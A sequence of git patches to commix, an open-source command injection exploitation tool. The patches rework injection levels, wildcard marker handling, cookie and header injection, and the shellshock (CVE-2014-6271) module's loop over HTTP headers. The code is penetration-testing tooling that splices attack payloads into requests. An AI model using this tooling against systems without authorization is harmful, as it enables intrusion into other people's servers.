parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
@@ -317,7 +318,7 @@ def do_POST_check(parameter, http_request_method):
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
#all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
- all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
+ # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
parameter = parameter.replace(settings.RANDOM_TAG,"")
@@ -398,10 +399,14 @@ def prefixes(payload, prefix):
specify_host_parameter(menu.options.host)
# Check if defined "--prefix" option.
+ testable_value = settings.TESTABLE_VALUE
+ if settings.WILDCARD_CHAR_APPLIED:
+ testable_value = ""
if menu.options.prefix:
- payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload
+ payload = testable_value + menu.options.prefix + prefix + payload
else:
- payload = settings.TESTABLE_VALUE + prefix + payload
+ payload = testable_value + prefix + payload
+
return payload
"""
@@ -415,12 +420,15 @@ def suffixes(payload, suffix):
payload = payload + suffix + menu.options.suffix
else:
payload = payload + suffix
+
return payload
"""
The cookie based injection.
"""
def do_cookie_check(cookie):
+ # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
+ cookie = checks.wildcard_character(cookie)
multi_parameters = cookie.split(settings.COOKIE_DELIMITER)
# Check for inappropriate format in provided parameter(s).
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
@@ -480,6 +488,7 @@ def do_cookie_check(cookie):
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
#all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
cookie = settings.COOKIE_DELIMITER.join(all_params)
if type(cookie) != list:
@@ -500,7 +509,6 @@ def do_cookie_check(cookie):
"""
def specify_cookie_parameter(cookie):
- cookie = checks.wildcard_character(cookie)
# Specify the vulnerable cookie parameter
if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \
re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie):
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4e3b11a6c3..53478261f9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "71"
+REVISION = "72"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -318,6 +318,7 @@ def sys_argv_errors():
# The wildcard character
WILDCARD_CHAR = "*"
+WILDCARD_CHAR_APPLIED = False
# Testable parameter(s) - comma separated.
TEST_PARAMETER = ""
From 5fe78ccba17dc040a9c7690530bb5bf9cc59db06 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 27 May 2022 08:16:43 +0300
Subject: [PATCH 149/560] Trivial fixes and update
---
src/core/injections/controller/checks.py | 16 +++++-----
src/core/injections/controller/controller.py | 18 ++++++++----
src/core/main.py | 13 ++++----
src/core/modules/shellshock/shellshock.py | 31 ++++++++++++--------
src/core/requests/headers.py | 16 +++++-----
src/core/requests/parameters.py | 4 +--
src/utils/settings.py | 9 +++---
7 files changed, 61 insertions(+), 46 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 6b190c4fc0..d8fd65c925 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -434,15 +434,15 @@ def check_injection_level():
cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER)
for cookie in cookies:
if cookie.split("=")[0].strip() in menu.options.test_parameter:
- menu.options.level = 2
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
elif menu.options.cookie.split("=")[0] in menu.options.test_parameter:
- menu.options.level = 2
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
# Checking testable HTTP headers for user-agent / referer / host
if "user-agent" in menu.options.test_parameter or \
"referer" in menu.options.test_parameter or \
"host" in menu.options.test_parameter:
- menu.options.level = 3
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
"""
Procced to the next attack vector.
@@ -702,10 +702,10 @@ def check_CGI_scripts(url):
_ = False
for cgi_script in CGI_SCRIPTS:
if cgi_script in url:
- warn_msg = "The URL is probable to contain a script ('" + cgi_script + "') "
- warn_msg += "vulnerable to shellshock. "
+ info_msg = "Heuristic (basic) tests shows that target URL might contain a script "
+ info_msg += "vulnerable to shellshock. "
_ = True
- print(settings.print_warning_msg(warn_msg))
+ print(settings.print_bold_info_msg(info_msg))
while True:
message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > "
shellshock_check = common.read_input(message, default="Y", check_batch=True)
@@ -938,7 +938,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name):
if non_exist_param:
non_exist_param = ",".join(non_exist_param).replace(" ","")
non_exist_param = non_exist_param.split(",")
- if menu.options.level >= 2 and \
+ if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \
menu.options.test_parameter != None:
if menu.options.cookie != None:
if settings.COOKIE_DELIMITER in menu.options.cookie:
@@ -965,7 +965,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name):
warn_msg = "Skipping tests for "
warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '"
warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1]
- if menu.options.level >= 2 and header_name != "":
+ if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "":
warn_msg += " not part of the "
warn_msg += settings.HTTP_HEADER
else:
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 2638b15611..1462954750 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -44,19 +44,21 @@
Check for previously stored sessions.
"""
def check_for_stored_sessions(url, http_request_method):
+
if not menu.options.ignore_session:
if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION:
if not menu.options.tech:
settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method)
menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES
if session_handler.check_stored_parameter(url, http_request_method):
- settings.LOAD_SESSION = True
+ # settings.LOAD_SESSION = True
return True
"""
Check for previously stored injection level.
"""
def check_for_stored_levels(url, http_request_method):
+
if not menu.options.ignore_session:
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
menu.options.level = session_handler.applied_levels(url, http_request_method)
@@ -436,7 +438,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
"""
def http_headers_injection(url, http_request_method, filename, timesec):
# Disable Cookie Injection
- settings.COOKIE_INJECTION = False
+ settings.COOKIE_INJECTION = None
def user_agent_injection(url, http_request_method, filename, timesec):
user_agent = menu.options.agent
@@ -735,6 +737,8 @@ def basic_level_checks():
if menu.options.shellshock:
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
else:
+ if menu.options.level != settings.DEFAULT_INJECTION_LEVEL:
+ menu.options.level = settings.USER_SUPPLIED_LEVEL
check_for_stored_levels(url, http_request_method)
if settings.PERFORM_BASIC_SCANS:
@@ -754,7 +758,9 @@ def basic_level_checks():
else:
post_request(url, http_request_method, filename, timesec)
- if menu.options.level >= settings.COOKIE_INJECTION_LEVEL:
+ _ = menu.options.level
+ if _ >= settings.COOKIE_INJECTION_LEVEL:
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
# Enable Cookie Injection
if menu.options.cookie:
cookie_injection(url, http_request_method, filename, timesec)
@@ -762,8 +768,8 @@ def basic_level_checks():
warn_msg = "The HTTP Cookie header is not provided, "
warn_msg += "so this test is going to be skipped."
print(settings.print_warning_msg(warn_msg))
-
- if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
+ if _ == settings.HTTP_HEADER_INJECTION_LEVEL:
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
if settings.INJECTED_HTTP_HEADER == False :
check_parameter = ""
# Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2).
@@ -827,7 +833,7 @@ def do_check(url, http_request_method, filename):
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS:
err_msg = "All tested parameters "
- if menu.options.level > 2:
+ if menu.options.level > settings.COOKIE_INJECTION_LEVEL:
err_msg += "and HTTP headers "
err_msg += "appear to be not injectable."
if not menu.options.alter_shell :
diff --git a/src/core/main.py b/src/core/main.py
index 5fb236ecdb..53611a5913 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -356,7 +356,7 @@ def main(filename, url):
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
# Check injection level, due to the provided testable parameters.
- if menu.options.level < 2 and menu.options.test_parameter != None:
+ if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and menu.options.test_parameter != None:
checks.check_injection_level()
# Check if defined character used for splitting cookie values.
@@ -725,20 +725,23 @@ def main(filename, url):
if "=" in settings.TEST_PARAMETER[i]:
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
+ if menu.options.level != settings.DEFAULT_INJECTION_LEVEL:
+ settings.USER_SUPPLIED_LEVEL = menu.options.level
+
# Define the level of tests to perform.
- if menu.options.level == 1:
+ if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL1), key=settings.PREFIXES_LVL1.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL1), key=settings.SUFFIXES_LVL1.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL1), key=settings.EVAL_PREFIXES_LVL1.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL1), key=settings.EVAL_SUFFIXES_LVL1.index)
- elif menu.options.level == 2:
+ elif menu.options.level == settings.COOKIE_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL2), key=settings.SEPARATORS_LVL2.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL2), key=settings.PREFIXES_LVL2.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL2), key=settings.SUFFIXES_LVL2.index)
settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL2), key=settings.EVAL_PREFIXES_LVL2.index)
settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
- elif menu.options.level == 3:
+ elif menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
@@ -868,7 +871,7 @@ def main(filename, url):
if url == clean_output_href[-1]:
settings.EOF = True
# Reset the injection level
- if menu.options.level > 3:
+ if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL:
menu.options.level = 1
init_injection(url)
try:
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index e684774cbc..4338b2b313 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -22,6 +22,10 @@
from src.core.injections.controller import checks
default_user_agent = menu.options.agent
+if menu.options.cookie:
+ if settings.INJECT_TAG in menu.options.cookie:
+ menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"")
+ default_cookie = menu.options.cookie
"""
This module exploits the vulnerabilities CVE-2014-6271 [1], CVE-2014-6278 [2] in Apache CGI.
@@ -30,18 +34,18 @@
"""
if settings.MULTI_TARGETS or not settings.IS_TTY:
- if settings.COOKIE_INJECTION == True:
- settings.COOKIE_INJECTION = None
- if settings.USER_AGENT_INJECTION == True:
+ if settings.USER_AGENT_INJECTION:
settings.USER_AGENT_INJECTION = None
- if settings.REFERER_INJECTION == True:
+ if settings.REFERER_INJECTION:
settings.REFERER_INJECTION = None
+ if settings.COOKIE_INJECTION:
+ settings.COOKIE_INJECTION = None
# Available HTTP headers
headers = [
"User-Agent",
"Referer",
-"Cookie"
+"Cookie",
]
# Available Shellshock CVEs
@@ -603,8 +607,8 @@ def shellshock_handler(url, http_request_method, filename):
try:
i = 0
total = len(shellshock_cves) * len(headers)
- for cve in shellshock_cves:
- for check_header in headers:
+ for check_header in headers:
+ for cve in shellshock_cves:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
@@ -619,9 +623,10 @@ def shellshock_handler(url, http_request_method, filename):
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
-
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
+ if check_header == "Cookie":
+ menu.options.cookie = payload
if check_header == "User-Agent":
menu.options.agent = payload
log_http_headers.do_check(request)
@@ -634,6 +639,8 @@ def shellshock_handler(url, http_request_method, filename):
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if check_header == "Cookie":
+ menu.options.cookie = default_cookie
if check_header == "User-Agent":
menu.options.agent = default_user_agent
percent = ((i*100)/total)
@@ -676,14 +683,12 @@ def shellshock_handler(url, http_request_method, filename):
if settings.VERBOSITY_LEVEL != 0:
checks.total_of_requests()
- info_msg = "The (" + check_header + ") '"
- info_msg += url + Style.RESET_ALL + Style.BRIGHT
- info_msg += "' seems vulnerable via " + technique + "."
+ info_msg = "The " + check_header + " " + vuln_parameter
+ info_msg += " seems injectable via " + technique + "."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_info_msg(info_msg))
- sub_content = "\"" + payload + "\""
- print(settings.print_sub_content(sub_content))
+ print(settings.print_sub_content(payload))
# Enumeration options.
if settings.ENUMERATION_DONE == True:
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 0b3ba804fe..54d23d64aa 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -248,9 +248,9 @@ def https_open(self, req):
"""
def do_check(request):
- # Check if defined any Host HTTP header.
- if menu.options.host and settings.HOST_INJECTION == None:
- request.add_header(settings.HOST, menu.options.host)
+ # Check if defined any Cookie HTTP header.
+ if menu.options.cookie and settings.COOKIE_INJECTION == None:
+ request.add_header(settings.COOKIE, menu.options.cookie)
# Check if defined any User-Agent HTTP header.
if menu.options.agent and settings.USER_AGENT_INJECTION == None:
@@ -259,11 +259,11 @@ def do_check(request):
# Check if defined any Referer HTTP header.
if menu.options.referer and settings.REFERER_INJECTION == None:
request.add_header(settings.REFERER, menu.options.referer)
-
- # Check if defined any Cookie HTTP header.
- if menu.options.cookie and settings.COOKIE_INJECTION == False:
- request.add_header(settings.COOKIE, menu.options.cookie)
-
+
+ # Check if defined any Host HTTP header.
+ if menu.options.host and settings.HOST_INJECTION == None:
+ request.add_header(settings.HOST, menu.options.host)
+
if not checks.get_header(request.headers, settings.ACCEPT):
request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 584449586f..3bab67ed60 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -42,9 +42,9 @@ def do_GET_check(url, http_request_method):
# Check for REST-ful URLs format.
if "?" not in url:
if settings.INJECT_TAG not in url and not menu.options.shellshock:
- if menu.options.level == 3 or menu.options.header or menu.options.headers:
+ if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers:
return False
- if menu.options.level == 2 :
+ if menu.options.level == settings.COOKIE_INJECTION_LEVEL :
return False
else:
err_msg = "No parameter(s) found for testing on the provided target URL. "
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 53478261f9..4c7b2a01ba 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "72"
+REVISION = "73"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -414,13 +414,13 @@ def sys_argv_errors():
PREFIXES = []
PREFIXES_LVL1 = [""]
PREFIXES_LVL2 = SEPARATORS_LVL1
-PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2
+PREFIXES_LVL3 = PREFIXES_LVL2 + ["'", "\""]
# The command injection suffixes.
SUFFIXES = []
SUFFIXES_LVL1 = DEFAULT_SEPARATORS
SUFFIXES_LVL2 = SEPARATORS_LVL1
-SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2
+SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'", "\"", " #", "//", "\\\\"]
# Bad combination of prefix and separator
JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))]
@@ -462,6 +462,7 @@ def sys_argv_errors():
DEFAULT_INJECTION_LEVEL = 1
COOKIE_INJECTION_LEVEL = 2
HTTP_HEADER_INJECTION_LEVEL = 3
+USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL
PERFORM_BASIC_SCANS = True
# Default Temp Directory
@@ -610,7 +611,7 @@ def sys_argv_errors():
TOR_HTTP_PROXY_SCHEME = "https"
# Cookie injection
-COOKIE_INJECTION = False
+COOKIE_INJECTION = None
# User-Agent injection
USER_AGENT_INJECTION = None
From ac03b68d2886b7ad042fce7a9a5feebdf5caf0fc Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 1 Jun 2022 07:29:49 +0300
Subject: [PATCH 150/560] Improvement regarding identifying injection marker
(i.e. asterisk) in provided options.
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/checks.py | 2 -
src/core/injections/controller/controller.py | 5 +-
src/core/main.py | 80 +++++++++++++++++---
src/utils/settings.py | 2 +-
5 files changed, 75 insertions(+), 15 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 7e842e4568..7f1c8627af 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options.
* Revised: Improvement regarding shellshock module.
* Added: Support regarding parsing target(s) from piped-input (i.e. stdin).
* Added: New option `--answers` to set user answers to asked questions during commix run.
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index d8fd65c925..51b5cff259 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -910,8 +910,6 @@ def wildcard_character(data):
_ = _ + data + "\\n"
data = _.rstrip("\\n")
if data.count(settings.INJECT_TAG) > 1:
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
err_msg = "You specified more than one injecton markers. "
err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). "
print(settings.print_critical_msg(err_msg))
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 1462954750..72906786d9 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -51,7 +51,8 @@ def check_for_stored_sessions(url, http_request_method):
settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method)
menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES
if session_handler.check_stored_parameter(url, http_request_method):
- # settings.LOAD_SESSION = True
+ if not settings.MULTI_TARGETS or settings.IS_TTY:
+ settings.LOAD_SESSION = True
return True
"""
@@ -737,7 +738,7 @@ def basic_level_checks():
if menu.options.shellshock:
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
else:
- if menu.options.level != settings.DEFAULT_INJECTION_LEVEL:
+ if menu.options.level != settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED:
menu.options.level = settings.USER_SUPPLIED_LEVEL
check_for_stored_levels(url, http_request_method)
diff --git a/src/core/main.py b/src/core/main.py
index 53611a5913..43c7ec91df 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -33,6 +33,7 @@
from src.utils import install
from src.utils import crawler
from src.utils import settings
+from src.core.requests import parameters
from src.utils import session_handler
from src.utils import simple_http_server
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -316,15 +317,73 @@ def main(filename, url):
if menu.options.url_reload and menu.options.data:
settings.URL_RELOAD = True
- if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \
- menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers:
- info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'."
- print(settings.print_info_msg(info_msg))
- if menu.options.test_parameter:
- err_msg = "The options '-p' and the injection marker cannot be used "
- err_msg += "simultaneously (i.e. only one option must be set)."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit
+ if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY:
+ settings.WILDCARD_CHAR_APPLIED = False
+
+ parameter = ""
+ if menu.options.url and settings.WILDCARD_CHAR in menu.options.url:
+ option = "'-u'"
+ settings.WILDCARD_CHAR_APPLIED = True
+ parameter = parameters.do_GET_check(menu.options.url, http_request_method)
+ parameter = parameters.vuln_GET_param(parameter[0])
+ elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data:
+ option = "POST body"
+ settings.WILDCARD_CHAR_APPLIED = True
+ parameter = parameters.do_POST_check(menu.options.data, http_request_method)
+ if len(parameter) == 0:
+ parameter = parameter[0]
+ parameter = parameters.vuln_POST_param(parameter, url="")
+ else:
+ option = "option '--headers/--user-agent/--referer/--cookie'"
+ if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
+ cookie = parameters.do_cookie_check(menu.options.cookie)
+ parameter = parameters.specify_cookie_parameter(cookie)
+
+ elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+ parameter = "user-agent"
+
+ elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+ parameter = "referer"
+
+ elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
+ _ = True
+ for data in menu.options.headers.split("\\n"):
+ # Ignore the Accept HTTP Header
+ if not data.startswith(settings.ACCEPT):
+ _ = False
+ if _:
+ settings.WILDCARD_CHAR_APPLIED = True
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+ parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR)
+
+ if menu.options.test_parameter and settings.WILDCARD_CHAR_APPLIED:
+ err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") "
+ err_msg += "cannot be used simultaneously (i.e. only one option must be set)."
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit
+
+ if settings.WILDCARD_CHAR_APPLIED:
+ while True:
+ message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". "
+ message += "Do you want to process it? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ menu.options.test_parameter = parameter
+ break
+ elif procced_option in settings.CHOICE_NO:
+ break
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + procced_option + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
if menu.options.test_parameter and menu.options.skip_parameter:
if type(menu.options.test_parameter) is bool:
@@ -356,7 +415,8 @@ def main(filename, url):
settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0]
# Check injection level, due to the provided testable parameters.
- if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and menu.options.test_parameter != None:
+ if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \
+ menu.options.test_parameter != None:
checks.check_injection_level()
# Check if defined character used for splitting cookie values.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4c7b2a01ba..af95d1fba3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "73"
+REVISION = "74"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 7d0c36dc2b0c875efedfc415998c4669d25ba08a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 2 Jun 2022 07:53:44 +0300
Subject: [PATCH 151/560] Minor fixes / updates
---
src/core/injections/controller/checks.py | 65 ++++--
src/core/injections/controller/controller.py | 9 +-
src/core/injections/controller/parser.py | 7 +-
src/core/main.py | 196 +++++++++----------
src/core/requests/headers.py | 3 +-
src/core/requests/parameters.py | 3 +-
src/utils/settings.py | 2 +-
7 files changed, 158 insertions(+), 127 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 51b5cff259..a4d8d715ff 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -75,6 +75,44 @@ def mobile_user_agents():
print(settings.print_error_msg(err_msg))
pass
+"""
+The available mobile user agents.
+"""
+def mobile_user_agents():
+ menu.mobile_user_agents()
+ while True:
+ message = "Which smartphone do you want to imitate through HTTP User-Agent header? > "
+ mobile_user_agent = common.read_input(message, default="1", check_batch=True)
+ try:
+ if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)):
+ return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)]
+ elif mobile_user_agent.lower() == "q":
+ raise SystemExit()
+ else:
+ err_msg = "'" + mobile_user_agent + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ except ValueError:
+ err_msg = "'" + mobile_user_agent + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
+"""
+Check for HTTP Method
+"""
+def check_http_method(url):
+ if len(settings.HTTP_METHOD) != 0:
+ http_request_method = settings.HTTP_METHOD.upper()
+ else:
+ if not menu.options.data or \
+ settings.WILDCARD_CHAR in url or \
+ settings.INJECT_TAG in url or \
+ [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]:
+ http_request_method = settings.HTTPMETHOD.GET
+ else:
+ http_request_method = settings.HTTPMETHOD.POST
+ return http_request_method
+
"""
User aborted procedure
"""
@@ -901,19 +939,20 @@ def enable_all_enumeration_options():
if the wildcard char is provided.
"""
def wildcard_character(data):
- _ = ""
- for data in data.split("\\n"):
- # Ignore the Accept HTTP Header
- if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data :
- data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG)
- settings.WILDCARD_CHAR_APPLIED = True
- _ = _ + data + "\\n"
- data = _.rstrip("\\n")
- if data.count(settings.INJECT_TAG) > 1:
- err_msg = "You specified more than one injecton markers. "
- err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). "
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if settings.WILDCARD_CHAR_APPLIED != None:
+ _ = ""
+ for data in data.split("\\n"):
+ # Ignore the Accept HTTP Header
+ if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data :
+ data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG)
+ settings.WILDCARD_CHAR_APPLIED = True
+ _ = _ + data + "\\n"
+ data = _.rstrip("\\n")
+ if data.count(settings.INJECT_TAG) > 1:
+ err_msg = "You specified more than one injecton markers. "
+ err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). "
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
return data
"""
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 72906786d9..4210fd607c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -158,7 +158,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
